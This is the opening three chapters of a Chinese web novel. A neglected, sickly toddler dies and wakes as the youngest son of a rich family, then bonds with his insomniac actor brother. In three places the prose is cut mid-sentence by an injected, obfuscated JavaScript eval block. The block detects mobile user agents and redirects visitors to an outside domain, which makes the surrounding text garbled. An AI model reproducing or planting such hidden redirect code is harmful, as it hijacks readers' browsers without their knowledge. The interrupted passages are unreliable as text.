《幼崽成了大佬们的团宠》 1. 第 1 章 年年从出生起体质就差,大病缠身,小病不断,他本就是不被寄予期待出生的孩子,父母对他没什么耐心,给个地方住,给口饭吃就算是养着他了,偶尔心情好了才会理他一次。 年年是高智商孩子,不满一岁就会开口说话,一岁半就能走路不摔跤,两岁多就学会照顾自己,他早早就学会了看父母脸色做事,一直假装扮演一个听话懂事的孩子,但无论他做得再好,都始终得不到父母的关心。 晚上下起了暴雨,妈妈又出去找不知道在哪个女人床上的爸爸了,年年被锁在家里,妈妈临走前忘记给他准备晚饭,他踩上小凳子,熟练地接水,等待水烧开的过程中,他拿出柜子里最后一桶泡面拆开。 心脏突然传来熟悉的刺痛,调料包从小小的手中脱落,视线忽然变得模糊,倒地的瞬间,他眼前陷入一片黑暗,什么都看不见了。 热水壶还在运作,咕噜噜的沸腾声落入他耳里时越来越轻,直至完全听不见,心脏的震颤声却越来越响亮。 故事书中常说,人死亡之前是会看见走马灯的,年年不知道走马灯是什么,他猜想跟他过年时看见的彩灯一模一样。但很可惜,他没能看到彩灯,在生命的最后一刻,也没有搞懂走马灯到底是什么。 他想,或许是他的生命太短暂,可以装填走马灯的记忆太少,所以走马灯才没有出现。 心脏的疼痛停止的刹那,他委屈地抿抿嘴唇,轻声哽咽:“呜,妈妈……年年好痛……” - 年年再睁开眼,头顶是花纹繁复的天花板,水晶吊灯在暖阳下折射出晶莹光泽,空气中漂浮着淡淡的消毒水味和药味,跟从小伴随他长大的气味一模一样,这让初来乍到的年年安心了不少。 醒来的瞬间,许多不属于他的记忆如潮水般灌入年年的脑海中。 在死亡的那一刻,他穿进了一本豪门狗血文中,成了豪门苏家最小的孩子苏宥年。 苏宥年同他一样,出生起就体弱多病,才三岁就往返医院数十次,跟他一样也是个药罐子里泡大的小孩。 苏宥年上面还有三位哥哥,大哥苏晏珩不愿继承家业,20岁就扎根娱乐圈,仅两年就成为顶流偶像,如今28岁的他已成功转型成演员,在半年前拿下了金棕奖影帝,一时风光无两。 二哥苏星呈18岁成为OAO战队主役选手,连续三年蝉联世界冠军,是国内最负盛名的职业选手,电竞大神。 三哥季岁则随母亲姓,与苏宥年只差了两岁,五岁的他已经是家喻户晓的天才神童,三岁就能将几百首古诗倒背如流,四岁就学会了六年级的知识。 看似风光无限的家族背后其实隐藏着许多心酸秘密,早已千疮百孔—— 苏宥年的父母是因为家族联姻才在一起的,婚后多年才慢慢培养出感情,两人都是心高气傲的主,即使是鸡毛蒜皮的小事也能因为拉不下脸来而矛盾激化。 苏宥年还没出生前,夫妻俩大多数时候还能心平气和的交谈,这几年,他们总是一见面就吵架,已经闹到了离婚边缘。 大哥因过度操劳患有严重的失眠症,二哥因连轴转的比赛被重度焦虑困住,三哥因过早成名得了失语症。 一幕幕真实画面在脑海中飞速闪过,年年看到了每个人的结局—— 父母离婚,苏家衰败,大哥因严重失眠而猝死,二哥被人陷害双手被废,职业生涯就此终结,三哥年纪轻轻就接手了父母遗留下来的烂摊子,因为沉闷的性格,到晚年都是一个人,最后孤独死去。 生活已经够苦了,年年最不喜欢看的就是悲剧故事,好在童话故事的结局大多都是甜蜜幸福的,亲眼见到苏家悲惨的结局,年年情不自禁红了眼眶,苏家人每个人的结局好像比爹不疼娘不爱的他还要凄惨。 他现在已经是苏宥年了,苏家的每个人都是他的亲人。 重活一世,他不想再像上辈子那样孤独又委屈地活着了。 他想改变苏家人的结局,如果苏家人变好的同时,能够给予他一点关心就好了,他只要一点点,不求太多。 将乱七八糟的时间线和每个人的信息整理好后,年年才坐起身,刚动了下左脚,脚腕处就传来锥心的刺痛,又一段记忆传输进他脑中—— 就在他穿来的前天,苏宥年不小心从楼梯上掉下来摔伤了左腿,家庭医生在第一时间赶来帮他做了检查,伤势不严重但需要卧床静养。 父母互看不顺眼,苏父半年前就搬出了老宅,目前定居在离公司最近的公寓里,苏母为了排解怒火经常出去旅游,她在家的时候会照顾苏宥年,她不在时,都是由佣人负责照顾。 苏宥年受伤后,管家立马将这个消息告知给远在国外的苏母,苏母进山断了信号,电话没能拨通,苏父正在去出差的飞机上,也无法联系上。 管家最后联系到刚得了休假的大哥苏晏珩,苏晏珩与苏宥年差了25岁,如果苏晏珩肯努力一把,都能生个像苏宥年一般年纪的小孩了。苏晏珩一进组就是好几个月,弟弟出生后就只见过几面,虽然有血缘关系,但根本谈不上亲密,连对方的喜好都不知道。 因着父母的关系,苏晏珩高中起就不爱回家,跟年纪相差不多的二弟还能算兄弟,剩下两个弟弟就跟陌生人似的。 接到管家的电话时,苏晏珩原本是不想回来看苏宥年的,家里有那么多佣人伺候,还有家庭医生随时陪护在身侧,他不担心苏宥年的安危,倒也不是不关心这位弟弟,只是不知道该如何跟小孩相处。 也不是没试着去亲近这位最小的弟弟,但苏宥年一见到他就躲在佣人身后,他稍一靠近就把苏宥年吓哭,感觉到这个弟弟似乎不喜欢自己,他也放弃了与弟弟交好的念头。 苏晏珩犹豫再三还是决定回去探望弟弟,跟前几次一样,他才靠近小孩,小孩就吓得哇哇大哭,仿佛他是来勾人魂魄的鬼差似的。 苏晏珩没有办法,只能离弟弟远远的,他没有回常住的房子,打算在老宅住几天,等弟弟的伤势好一些再离开,这样长辈那边也能交代。 苏晏珩一旦拍戏就会陷入日夜颠倒的状态,最近几年他的失眠越来越严重,这次已经连续一周没有睡上一次好觉了。经纪人看他状态不对,这部剧刚杀青就急忙给他安排了半个月的假期,还给他找了很多助眠的方法。 苏晏珩挨个试了一遍,都没有效果。 昨晚他十点不到就躺下了,熬到三点才睡着,睡了没多久又惊醒,脑袋像被劈开数瓣,疼得他难以入睡,逼迫着自己睡觉比干熬着还要难受,索性不睡了。 苏晏珩刚进入餐厅,还没坐下,佣人就急急忙忙跑进来:“大少爷,小少爷想见您。” “见我?”苏晏珩表情诧异,那小鬼恨不得躲他远远的,怎么想到要见他。 抱着好奇,苏晏珩转身上了楼,走到苏宥年的房间门口时,他放缓了脚步,情不自禁想起小孩害怕的表情,还有能把天花板都给震破的嘹亮嗓音。 许多人对苏晏珩的评价是为人亲和,他跟同剧组的演员都相处得很好,也很招小演员的喜欢,唯独在自家弟弟这屡屡碰壁,这让他十分挫败。 害怕见到弟弟害怕的表情,苏晏珩已经做好了随时后撤的准备,轻轻推开门,家庭医生比他先到一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691326|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在检查苏宥年的脚。 小孩半个身体深陷在柔软的靠垫里,白皙小脸被高热熏得通红,白里透红,格外可爱。 苏父年轻时相貌英俊,季夫人是S市出了名的美人,两人的孩子自然不会太差。苏晏珩刚出生时引来了半个医院的医生护士围观,刚出生的小孩都皱巴巴的,偏他生得玉雪可爱,再长大点,可爱没了,只剩下了帅气。 苏宥年的长相随了漂亮的母亲,一双大眼却跟小时候的苏晏珩一模一样,几乎是一个模子里刻出来的,不知道的还以为苏宥年是苏晏珩的私生子。 因为这个原因,即使苏宥年再吵闹,苏晏珩总能宽容几分。 此刻,小孩睁大黑葡萄似的眼睛,直勾勾地朝他望过来,嘴巴缓缓张开。 预想中撕心裂肺的哭嚎声没有响起,小孩奶呼呼喊道:“哥哥。” 苏晏珩愣住,下意识看向身后,苏星呈和季岁则不在,苏宥年喊得只有可能是他。这还是苏宥年第一次主动喊他哥哥,从前都是在长辈的诱导下才不情不愿喊他,满脸都写着抗拒。 这是发烧把自己给烧糊涂了,连怕他这件事都给忘记了? 年年早就习惯父母的冷漠,他十次呼喊父母,只有两三次得到回应,这没关系,只要有一次能回应他,他就心满意足了。 年年强撑着虚弱的身体直起身,冲发愣的苏晏珩再次喊道:“哥哥。” 苏晏珩回过神来,僵硬地回了个“嗯”。 年年眼里迸射出亮光,医生恰在此时戳着一块位置问道:“小少爷,还痛吗?” 突然窜起的疼痛类似于拿手指触碰刚烧开水的热水壶,妈妈有一次好几天没回来,他饿得厉害,就自己烧了水泡泡面,那时的他比现在要小很多,力气太小,拿不稳烧水壶,水壶打翻之前他快速松手退远,这才避免被热水淋到的危险,可手指还是被滚烫的水壶给烫到了。 那时的疼痛跟现在相比不算什么,年年可以忍耐,但想到往事,他还是情不自禁红了眼眶,眼睛不肯从苏晏珩脸上挪开,嘴角下撇,委屈道:“痛的。” 苏晏珩下意识心脏一紧,想到一个自己也不敢相信的可能——弟弟这话是说给他听的?弟弟在依赖他? 可这又怎么可能呢?这小鬼见到他没吓哭都已经是万幸了。 就在苏晏珩自我否定时,年年朝傻站着的苏晏珩摊开双手,奶声奶气道:“哥哥,可以给年年一个拥抱吗?” 苏晏珩:“……你确定要我抱你?” 年年点点小脑袋,通红的小脸绽开灿烂的笑容:“哥哥抱抱年年,年年就不痛了。” 年年努力露出最真实最灿烂的笑容,心里其实充斥着忐忑不安。 幼小的孩子被噩梦惊醒,卧室里一片黑暗,床头灯不知何时坏了,他拧了几次都无法点亮它。 黑暗放大了恐惧,小孩抱着破旧的小熊玩偶,无声掉起泪来:“年年害怕,妈妈回来后能不能抱抱年年。” 他在惊惧不安中再次睡去,天亮后终于等到归家的母亲,疲惫的女人推开凑上来的小孩,烦躁道:“别碰我,没看到我很累吗?” 女人没发现小孩红肿的眼睛和逐渐消失的笑容,小孩乖乖地道了歉,转身进厨房帮女人加热带回来的饭菜。 脱离了婴儿时期,妈妈就很少再抱过他了,为了一个来之不易的拥抱,他有时候会尝试装病装疼痛。次数久了,这一招就会失效,他已经许久都没有被人抱过了。 才三岁的孩子,怎么可能不贪恋长辈的温暖怀抱呢。 妈妈会拒绝他,这位新冒出来的哥哥也会拒绝他吗? 2. 第 2 章 苏晏珩依旧站着不动,年年的期待开始下坠,这个年纪的他还没有学会如何控制表情,嘴角抿出一条颤动的波浪线,发红的眼里沁出了泪水。 苏晏珩大脑空白,连自己什么时候抱住小孩的也不知道,直到小孩的脑袋在他胸前蹭了蹭,他才回过神来。 大哥哥身上有很好闻的味道,年年说不出具体,只觉得像冬天的初雪,将所有脏污覆盖,只剩下干净清澈的味道。大哥哥的怀抱比妈妈的更加宽阔,也更加温暖,他很喜欢。 年年情不自禁又蹭了蹭苏晏珩的胸膛,小鼻子一拱一拱的,弄得苏晏珩很痒。察觉怀里的小孩正在做什么,苏晏珩全身都冻结成了冰块。 虽然剧组的小孩都很喜欢他,但没有哪个会胆子大到来抱他的,更别说贴贴蹭蹭了。 苏晏珩下意识摸了摸苏宥年的脑袋,温度正常,烧已经退了,所以,弟弟为什么会变得这么反常? “哥哥,年年已经退烧了哦。”年年仰起小脑袋,主动将额头往苏晏珩的掌心撞了撞,“你看,不烫吧。” 这一下不是撞在掌心上,而是撞在苏晏珩的心上,他甚至怀疑小孩知道自己长得很可爱,知道如何利用自己的优势,才会做出如此可爱又招人疼的表情。 “哥哥,年年脸上有脏东西吗?”年年不明白大哥哥为什么半天没反应,他很恐惧沉默的气氛。 沉默是妈妈发怒前的征兆,他宁愿妈妈将所有情绪外露,也不要面对一直沉默的妈妈。 “没有脏东西。”苏晏珩掌心下移,盖住小孩过于纯澈明亮的双眼。 弟弟愿意亲近自己是好事,苏晏珩却适应不了如此黏糊的亲近。 二弟苏星呈只有在谈论游戏时才会对他笑脸相迎,三弟季岁则不管面对谁都是沉默寡言的,见面了打声招呼就又封闭在自己的世界中,突然冒出一个黏糊糊的弟弟,苏晏珩一时半会没办法调整好状态。 他将小孩放回到床上,心率在小孩炽热的目光注视中逐渐攀升。 “你还没吃饭吧,我让人把饭端上来。” 小拇指被软乎的小手紧握住,年年眨巴着通红湿润的眼睛,期待道:“哥哥会陪年年一起吃饭吗?” 苏晏珩再次诧异:“你想我陪你一起吃饭?” 他不禁想到一个问题:对着他这张脸,小孩不会吓得吃不下去吧? 不怪他想得这么极端,实在是苏宥年前几次的反应太大,给他留下了浓重又深刻的阴影。 “想!”年年抓紧了苏晏珩的手指,“哥哥也不想一个人吃饭吧,我们一起吃好吗?” 苏晏珩的胸口一片柔软,按住小孩的手背,声音不自觉变得温柔:“我去拿饭,你先放手。” 年年短促地“哦”了声,只放松了一点点力道,苏晏珩有些好笑,没有戳穿小孩的私心,轻轻从小孩手中抽出了手指,就见小孩嘴角微微下撇,他赶紧道:“我很快就回来。” 下坠的嘴角立马又翘起一丝弧度,年年乖巧应答:“好。” 苏晏珩前脚刚踏出房门,笑容就从年年脸上消失,他躺回进身后的靠枕里,紧紧抱着小兔子玩偶。 这只玩偶是“苏宥年”的东西,在这个富裕家庭,他想要多少玩偶就能拥有多少,也不用担心肚子饿的问题,生病了也立马会有人来照顾他,可他还是很不安,他想要抓住一点属于他自己的东西。比如,哥哥的喜欢。 “他为什么会变成这样?” 家庭医生跟随苏晏珩一起离开了苏宥年的房间,苏晏珩的问题令他困惑:“您说什么?” 苏晏珩神色还有些恍惚:“他为什么不躲着我,还主动要我抱他?” 家庭医生思索了一番,才弄明白苏晏珩说的“他”指的小少爷。 家庭医生不禁好笑:“弟弟喜欢哥哥,这不是很正常吗?” “不!”苏晏珩表情严肃,“就在今天之前,我能很明显感觉出他不喜欢我,他每次见了我都哭,恨不得躲我远远的……” 家庭医生:“……” 看得出来,苏宥年对苏晏珩的排斥令苏晏珩大受打击,不然也不会生出这样的疑惑。 “您和小少爷的相处时间不够,对他来说,一开始您只是一个陌生人,随着见面次数增加,他才慢慢加固了对您的认知,人生病时最是脆弱,小孩更是,他生病后,您是第一个来看望他的人,他自然就依赖上您了。” 家庭医生的说法说服了苏晏珩,想到小孩红彤彤的脸颊,他追问道:“他没事了吧?” 家庭医生笑道:“小少爷的烧已经退了,您可以放心,只是小少爷的左脚扭伤有些严重,这几天都不要让他走路,过几天我再来帮小少爷检查。” 苏晏珩慎重点头,亲自将医生送出了门,这才去厨房端了两人的早餐。 再次推开苏宥年的房门,苏晏珩还是紧张的。 年年在听到脚步声的下一秒就坐了起来,朝门口的苏晏珩投去一个惊喜的眼神:“哥哥,你回来啦。” 苏晏珩面色紧绷,低低“嗯”了声,走到年年的床边坐下,将一碗小米粥递给年年。 年年的两只小手还没有一个碗大,碗两边都有把手,方便小孩抓握。他接过苏晏珩递来的勺子就开始吃。 热气将本就发红的小脸熏得通红,浓密的睫毛也被熏得湿漉漉的,仿佛在他离开之后又哭了一场,苏晏珩无端冒出这样的想法,呼气声忽然飘入他耳里,低头就见小孩撅起小嘴,正往勺子里吹风,嘴唇红艳艳的,明显就是被粥给烫到了。 偏偏他一声不吭,没有抱怨粥太烫,也没有指责给他端这碗烫粥的大人。 弟弟越是沉默,苏晏珩的愧疚就越重,他没有照顾小孩的经验,但也知道滚烫的食物会烫坏小孩脆弱的喉管,他太紧张,以至于连这种常识都给忘记了。 “凉一凉再吃吧。”苏晏珩心疼地拿走年年手里的小碗,拿起一个小猪形状的奶黄包,撕开确定包子里面不烫后才塞给年年,“先吃这个。” 包子还没有塞入年年手里,年年的脑袋就凑了过来,张嘴咬住了包子。 苏晏珩一怔,年年的小嘴被半个包子挡住,小猪粉嘟嘟的鼻子正好与年年的鼻尖相撞,这一幕萌得苏晏珩的心都要化了。他知道弟弟长得可爱,没想到对他放下防备的弟弟会如此可爱。 年年咬下一块包子,咽下后才笑道:“好吃,哥哥喂的更好吃了!” 是因为吃了奶黄包的原因,所以嘴巴才会这么甜? “好吃就多吃点。” “好。”年年点点小脑袋,拿走苏晏珩手中的半个包子,慢慢吃了起来。 包子被抽走的瞬间,苏晏珩的心空落落的,他平时不是个嘴笨的人,怎么连一个小孩都应付不了。他凝视着年年手中的小猪包子,过于严肃的表情让他看上去像在瞪视年年。 年年呛咳出声,带着小心翼翼的目光望向不知道在生什么气的大哥哥,小声询问:“哥哥,年年做错什么了吗?” 苏晏珩哪还顾得上跟半只小猪包子计较,看到小孩谨小慎微的模样,他不禁皱起眉头。 这像是长期接受虐待才会有的反应,家里的佣人和管家都经过严格训练,且在苏家做了几十年,如果有情况,他们几个兄弟在孩童时期就会发现,他们应该不会虐待年年。 那是因为什么,才会导致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691327|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年年做出这种反应? “你什么都没有做错。”苏晏珩将疑惑压进心底,抬手摸了摸年年的脑袋,小孩头发柔软顺滑,手感很好,苏晏珩抱着私心,又摸了好几下才收手。 年年目中流露依赖,鼓起勇气往苏晏珩的手臂靠近,试探着把小脑袋靠在苏晏珩的手臂上。 苏晏珩手臂瞬间石化,不自在道:“怎么了?” 年年窃喜,声音里都含着激动的颤音:“喜、喜欢哥哥摸我。” 苏晏珩:“……” 年年抓起没吃完的包子继续啃,包子是佣人亲手做的,皮薄馅多,包子皮承载不了满肚子的馅料,不仅沾了他满手,还沾满了他的嘴角。 认识苏晏珩的都知道他有洁癖,拍戏的时候他可以下泥塘可以在垃圾堆里滚几十圈,但只限于拍戏时,戏外他的洁癖严重到能让助理崩溃的程度。 若换做别人,沾着满嘴满手的奶黄馅靠着自己,苏晏珩早就把这人推得远远的了。 他只僵硬了几秒钟,就拿起柜子上的湿纸巾,还不等他抓起年年的小手,年年就自发自觉地抢过他手里的湿纸巾,自己擦拭了起来。 见状,苏晏珩哪能不清楚,他的洁癖连年幼的年年都有所耳闻,心里忽地涌起更多的失落来。弟弟太乖也不见得是一件好事。 年年仔仔细细将每一根手指都擦干净,再抽出新的湿纸巾擦拭自己的嘴巴,完了冲苏晏珩绽放微笑:“哥哥,年年干净了吗?” 小孩擦得认真又仔细,洁癖如苏晏珩,也挑不出一点不干净的地方。 苏晏珩却非要鸡蛋里挑骨头,抽出一张干净的湿纸巾,按住小孩的左边嘴角。 年年愣了下,本就通红的小脸看不出害羞,但扩散到耳廓的红还是能看出他的不好意思。 苏晏珩越看越喜欢,故意拖延了时间,将小孩的嘴唇都擦了一遍才收手,心满意足道:“好了,干净了。” “谢谢哥哥。” 这个年纪的小孩正是最黏人和记吃不记打的时候,即使被父母冷脸相待,只要父母对他稍微展露一点好脸色,年年还是会不计较地黏上去。 来到新世界,见不到父母了,年年没有一点伤感,因为他好像找到了比父母更好的哥哥。 感受到苏晏珩的一丁点善意,年年就像只小狗一样黏了上去,大胆地抱住苏晏珩的手臂,奶呼呼道:“哥哥真好,年年喜欢哥哥。” 苏晏珩浑身写满了不自在,但没有推开小孩,他的适应能力不错,正让自己慢慢适应小孩的热情黏腻。 苏宥年怕痛,脚伤折磨得他一夜都没睡好,吃过早饭,年年就开始犯困,临睡前还死死抓着大哥哥的左手食指,生怕好不容易得到的好心大哥哥跑了。 苏晏珩有些哭笑不得,年年熟睡后,他试着抽出手指,小孩条件反射地握紧了他的手指,转瞬又放松了力道,看见小孩忽然皱起的小眉头,苏晏珩霎时心软了,他没再抽出手指,换了个比较舒服的姿势,靠在床头,静静看着小孩的睡颜。 苏晏珩昨晚也没有睡好,晚上都睡不着,更别提白天了。 眼皮沉重,意识处于随时能消散的边缘,之前尝试过数次都没能成功入睡,这次,伴随着小孩清浅匀速的呼吸声,他不知不觉睡了过去,直到佣人来提醒吃午饭了,他才悠悠转醒。 年年不知何时已经醒了,抱着小兔子玩偶趴在他身边,大眼睛清澈透亮,全神贯注地盯着他。 “哥哥你醒啦,要再睡会吗?” 睡? 苏晏珩还没有清醒,下意识在心里反驳,他怎么可能睡得着呢? 又转而意识到,他刚才睡了一觉?! 3. 第 3 章 苏晏珩自患上失眠症,前前后后看了不少医生,但都没能治好他的失眠症,药吃太多的后果就是反胃,严重影响了他的工作。因此,苏晏珩这半年已经很少吃药了,遇上隔天有重要工作的时候才会吃安眠药助眠。 这半年来也不是没有睡过一次好觉,但入睡前必须要经历一番痛苦挣扎,这还是半年来第一次,他在无知无觉中睡了过去,而且是在身边有人的情况下。 苏晏珩呆滞地望着满脸灿笑的苏宥年,不明白自己为何能毫无防备地在小孩身边睡着。 他很快便想明白,这是苏宥年的功劳,却又不敢现在就断定。 “哥哥,你还要继续睡吗?”年年抬起小手,试探性朝苏晏珩伸去,见苏晏珩没有要躲闪的迹象,他才大着胆子摸上苏晏珩的脸颊,将粘在苏晏珩脸上的碎发拨到一侧。 “不睡了。”苏晏珩神色恍惚,脑子却已经清醒,看向墙壁上的挂钟。 他这一觉睡了三个多小时,比睡了一天还要精神。 连日来的疲乏缓解了些,苏晏珩紧绷的神经也放松下来,他抓住年年要收回去的小手,放在嘴唇上亲了亲,轻声呢喃:“谢谢。” 年年没有听到,被苏晏珩亲昵的动作弄得红了脸:“哥哥,你说什么?” 苏晏珩:“饿了吗?” 年年点点小脑袋,祈求道:“哥哥可以再跟年年一起吃饭吗?” 苏晏珩既好笑又心疼,忙出声安抚:“我问你就是打算跟你一起吃的。” 年年激动不已,抱住了苏晏珩的脖子,他这一起身扯到了左脚,疼得小脸皱起。苏晏珩将他放回到靠枕里,叮嘱道:“我去楼下拿饭,你在这等我。” “好。”年年大声应诺,乖巧说道,“年年哪里都不去,年年在这里等哥哥。” 苏晏珩下楼时给经纪人兆顺发了好消息:【我刚睡了一觉。】 睡觉并不奇怪,这事发生在苏晏珩身上就很奇怪了。 兆顺嫌打字浪费时间,直接打了电话:“你怎么睡着的?” 作为苏晏珩的经纪人,兆顺对苏晏珩的情况再了解不过,他曾亲眼看到过苏晏珩被失眠折磨,一部剧拍了三个月,拍到后面,苏晏珩的黑眼圈重得连遮瑕都盖不住,要是有一款遮瑕膏能够遮住苏晏珩的黑眼圈,这产品绝对能够卖爆。 “具体的我也不知道。”苏晏珩如实道,“但我直觉跟我的弟弟有关。” 兆顺:“你哪个弟弟?” 苏晏珩嗓音里多了几分笑:“最小的弟弟,苏宥年。” 兆顺听苏晏珩说过这位弟弟,他更加惊讶:“你跟这位弟弟不是处不来吗?不过才休息一天,你们的关系就突飞猛进了?” “重病见真情。”苏晏珩将家庭医生的说法转述给了兆顺听,还加了许多自己的私心。 “年年现在可依赖我了。” 兆顺听得鸡皮疙瘩都起来了,怎么都无法相信,这是不喜欢跟人太过亲近的苏影帝说出来的话。 “总之,你能睡着就好,既然待在你弟身边能睡着,那你就趁休息的时间多跟你弟弟相处,也沾沾他的睡气。” 苏晏珩:“……”睡气是什么说法? 苏晏珩其实也不能确定,跟苏宥年待在一起能不能睡得着,或许这次只是巧合,下次就不管用了。他对这件事没有报以太大期待,免得期望越大失望越大。 跟兆顺说了会话耽误了不少时间,重新上楼时已经过去了十五分钟。 小崽子迟迟等不到苏晏珩,频频伸长脖子张望门口,要不是他脚伤了,这会八成下来找苏晏珩了。佣人好笑地将这件趣事说给苏晏珩听,惹得苏晏珩心中发笑。 他很快摆正表情,装作不知情,缓步走进了房间。 年年的上半身已经离开了靠枕,小脸正对着大门,眼睛直勾勾盯着门板,恨不得将门板盯出两个窟窿出来。一见到苏晏珩,焦虑瞬间消散,向苏晏珩送上一个大大的甜笑。 “哥哥。” 被人依赖的滋味原来是这样的,比想象中的还要美妙。 苏晏珩上前,刚放下托盘就撸了一把弟弟毛茸茸的小脑袋,明知故问:“等着急了?” “没有。”年年下意识回答,表情纠结了没几秒又老实交代,“是有一点点着急。” 他举起胖乎乎的小手,食指和大拇指贴合,比了个“一点点”的动作:“年年很想跟哥哥待在一起。” 苏晏珩心潮澎湃,面上却装得淡定:“嗯。” 年年一眨不眨看着苏晏珩:“哥哥会不会觉得年年太黏人了?” 弟弟这名字还真没取错,的确黏人,但苏晏珩不讨厌,反而很喜欢弟弟黏着他。 被两个弟弟冷待了那么久,好不容易有了个乖巧黏人的弟弟,苏晏珩只想好好珍惜。 “不会。” 年年唇角一抿,抿出了左颊一颗不怎么明显的小梨涡。苏晏珩忽然理解那群养娃的家长为什么喜欢拍娃了,自家的小孩怎么看怎么可爱,恨不得将他的每一时刻都记录下来。 苏晏珩忍了又忍,还是忍住去掏手机的冲动,他是大哥,比苏宥年大了25岁,他应该维持威严沉稳的形象,不能表现得太过痴汉,让弟弟再次害怕他。 苏晏珩帮年年架好了床上小饭桌,刚把米饭和一道菜摆上去,年年就自觉地拿起了自己的小饭碗和筷子勺子。 苏晏珩欲言又止,还是问了句废话:“你自己可以吗?” 父母不管年年,为了生存,年年很早就领悟了“自己动手丰衣足食”的道理,像他这个年纪的小孩还在用儿童练习筷,他已经能自如地使用筷子了,可惜手指太短,姿势不够标准,这也不影响他吃饭。 “可以的!”年年纠正自己的握筷姿势,向苏晏珩展示自己的聪明,“哥哥,年年厉不厉害?” “厉害。”嘴上这样说,苏晏珩心里很不是滋味,弟弟怎么那么早就学会了这些? 也怪他回头得太晚,错过了弟弟什么都不会,只需要他们来照顾的年纪。 苏晏珩满是惋惜,决定不让自己被遗憾给击垮,恰好,一颗肉丸子从年年的筷子中脱落,滚到了他的饭碗前。 才夸下海口就失误了,年年立即满脸涨红,小声解释道:“丸子太小了。” 不是丸子太小,是你太小了,你这个年纪的孩子就该老老实实被家长喂饭,干什么要学会独立!既然要依赖我,那就全部依赖! 苏晏珩夹起托盘上的肉丸子,放回到年年的饭碗里,然后按住年年欲动筷的手,像在宣布一件重要的事情:“你别动,我喂你。” “啊?”年年愣住。 这是可以的吗? 妈妈说过,不会自己吃饭的小孩都是废物,没人会喜欢这样的小孩。 苏晏珩直接拿走了年年的筷子,在年年惊诧的目光中端起年年的小碗,他从没有给人喂过饭,但耳濡目染下还是会的。 笨拙地用勺子将米饭和肉丸子拌到一起,再将混合碎肉的米饭喂到年年嘴边。 年年非常配合,早早张开嘴巴迎接哥哥的投喂。 两人一个是第一次喂,另一个是已经忘记被投喂的记忆了,都显得非常生疏笨拙。 年年生怕自己嘴巴太小,装不下食物,努力将嘴巴撑开到最大,连小舌头都能看见,苏晏珩再也憋不住,轻笑出声。 年年嘴里被塞满了食物,鼓着两个圆鼓鼓的腮帮子,朝苏晏珩投去疑惑的目光。 “没事。”苏晏珩眸光温柔,伸手戳了戳那团圆鼓鼓的腮肉。 真可爱,真想拍下来。 直到吃完饭,苏晏珩的愿望都没能实现,他不像时下的年轻人手机不离身,没有工作的时候,他的手机就是摆设,有时候连自己都会忘记扔在哪里。 刚才给兆顺打完电话后,他就随手把手机放在餐厅里,这会才懊悔万分。 不过,就算手机在身边,他也不敢当着年年的面掏出手机,对着年年猛拍,这不符合他以往的形象。 怀抱着这份懊悔遗憾,苏晏珩决定找个机会偷偷拍几张弟弟的照片。 休息片刻,苏晏珩抱着年年去了后院的花园,今天阳光很好,佣人提早在花园里支起了遮阳伞,苏晏珩将年年放在躺椅里,把臂弯里的小兔子玩偶塞进年年怀里,自己则在另一边躺椅里坐下,静静观察弟弟可爱的侧脸,静待时机。 此时正是夏季,白色茉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691328|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉开了满园,浓郁的花香扑面而来,只稍片刻身上就沾染了茉莉香。这是年年从未见过的景色,他从未出过远门,最长待的地方是家里和医院。 听碎嘴的邻居婆婆说,妈妈是爸爸的情妇,因为私自生了他才会被爸爸抛弃,爸爸没给他和妈妈留下多少钱,只提供他的医疗费和一点生活费,他们只能住在老破小里。 那里的环境脏乱差,只适合杂草生存,年年只在医院里见到过火红的花,连那种花叫什么名字都不知道。这是他见到的第二种花,哥哥告诉他,它叫茉莉花。 “喜欢吗?”苏晏珩问。 年年猛点小脑袋,苏晏珩起身摘了几枝茉莉花,检查过后递给年年。 “给我的吗?”年年惊喜道。 都送到眼前了,怎么还不确定呢? 这段时间足够苏晏珩想明白年年谨小慎微的原因了。 父母不合,两个哥哥常年在外,与自己相差不多的哥哥又不愿意旁人靠近,陪伴苏宥年最多的其实是管家和佣人。他已经查过,这个家没人敢欺负年年,在没遭受虐待的情况下,会让苏宥年变成这样的,只有家人的疏远。 苏晏珩心疼地揉了把年年的头发,柔声道:“是给你的。” “谢谢哥哥。”年年开心地接过,小脸埋入柔软的花瓣间,深深嗅闻茉莉花的气息。 头顶突然响起一道清脆响亮的咔嚓声,年年甫一抬头,就对上苏晏珩尴尬的视线。 苏晏珩急忙将抓着手机的那只手放到身后,面色紧绷:“怎么了?” 年年没有看到苏晏珩的手机,也没发现大哥哥在偷偷拍他,他只关注到苏晏珩的面色。 